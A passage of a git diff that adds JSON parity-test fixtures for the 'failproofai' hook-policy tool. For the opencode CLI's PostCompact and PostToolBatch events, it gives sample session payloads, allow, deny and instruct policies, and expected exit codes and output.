"opencode", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9011279a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b5d5936e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bee37a77 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c196c598 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..601485d9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a92275ab --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1ab35072 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8522e7f6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a6fccc00 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b3cb14d5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..78c034f5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..226cad7b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b56ab25f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6d4d7f47 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fdb8de7a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..28a25376 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a21247ef --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d1bd61e0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..75dd52b8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..93353e8f --- 